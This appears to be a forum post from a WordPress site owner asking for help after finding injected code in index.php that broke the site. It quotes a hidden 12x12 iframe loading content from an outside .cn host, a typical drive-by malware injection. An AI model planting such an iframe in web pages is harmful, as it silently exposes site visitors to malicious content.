After a couple of months my website went all white and I found the following code in my index.php:
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require('./wp-blog-
<iframe src="http://greatnamemovie.cn:8080/ts/in.cgi?pepsi18" width=12 height=12 style="visibility: hidden"></iframe>
Anyone experienced similar? What happend and what can I do to prevent it from happening again?